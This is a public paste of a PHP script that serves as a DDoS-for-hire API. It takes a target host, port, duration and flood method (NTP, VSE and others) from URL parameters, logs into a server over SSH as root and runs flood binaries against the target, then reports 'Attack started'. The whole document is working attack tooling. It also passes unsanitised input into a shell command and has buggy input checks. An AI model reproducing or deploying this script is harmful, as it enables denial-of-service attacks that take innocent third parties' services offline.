Advertisement
Guest User

Untitled

a guest
Mar 21st, 2016
98
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
text 2.14 KB | None | 0 0
  1. <?php
  2. ignore_user_abort(true);
  3. set_time_limit(1000);
  4. $server_ip = "";
  5. $server_pass = "";
  6. $server_user = "root";
  7. $key = $_GET['key'];
  8. $host = $_GET['host'];
  9. $port = intval($_GET['port']);
  10. $time = intval($_GET['time']);
  11. $method = $_GET['method'];
  12. $action = $_GET['action'];
  13. $array = array("ntp","vse","dns","syn","ack");
  14. $ray = array("455978"); //This is your API password.
  15.  
  16.  
  17.  
  18.  
  19. if (!empty($key)){
  20. }else{
  21. die('Error: API key is empty!');}
  22.  
  23. if (in_array($key, $ray)){
  24. }else{
  25. die('Error: Incorrect API key!');}
  26.  
  27.  
  28.  
  29. if (!empty($time)){
  30. }
  31. else{
  32. die('Error: time is empty!');}
  33.  
  34. if (!empty($host)){
  35. }else{
  36. die('Error: Host is empty!');}
  37.  
  38. if (!empty($method)){
  39. }
  40.  
  41. else{
  42. die('Error: Method is empty!');}
  43. if (in_array($method, $array)){
  44. }else{
  45. die('Error: The method you requested does not exist!');}
  46. if ($port > 44405){
  47. die('Error: Ports over 44405 do not exist');}
  48. if ($time > 1000){
  49. die('Error: Cannot exceed 100 seconds!');}
  50. if(ctype_digit($Time)){
  51. die('Error: Time is not in numeric form!');}
  52. if(ctype_digit($Port)){
  53. die('Error: Port is not in numeric form!');}
  54.  
  55.  
  56.  
  57. if ($method == "ntp") { $command = "./ntp $host $port ntp.txt 10 100000 $time"; }
  58. if ($method == "vse") { $command = "./vse $host 10 100000 $time"; }
  59.  
  60.  
  61.  
  62. if (!function_exists("ssh2_connect")) die("Error: SSH2 does not exist on you're server");
  63. if(!($con = ssh2_connect($server_ip, 22))){
  64. echo "Error: Connection Issue";
  65. } else {
  66.  
  67.  
  68. if(!ssh2_auth_password($con, $server_user, $server_pass)) {
  69. echo "Error: Login failed, one or more of you're server credentials are incorrect.";
  70. } else {
  71.  
  72.  
  73.  
  74.  
  75. if (!($stream = ssh2_exec($con, $command ))) {
  76. echo "Error: You're server was not able to execute you're methods file and or its dependencies";
  77. } else {
  78. stream_set_blocking($stream, false);
  79. $data = "";
  80. while ($buf = fread($stream,4096)) {
  81. $data .= $buf;
  82. }
  83. echo "Attack started!!</br>Hitting: $host</br>On Port: $port </br>Attack Length: $time</br>With: $method";
  84. fclose($stream);
  85. }
  86. }
  87. }
  88. ?>
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement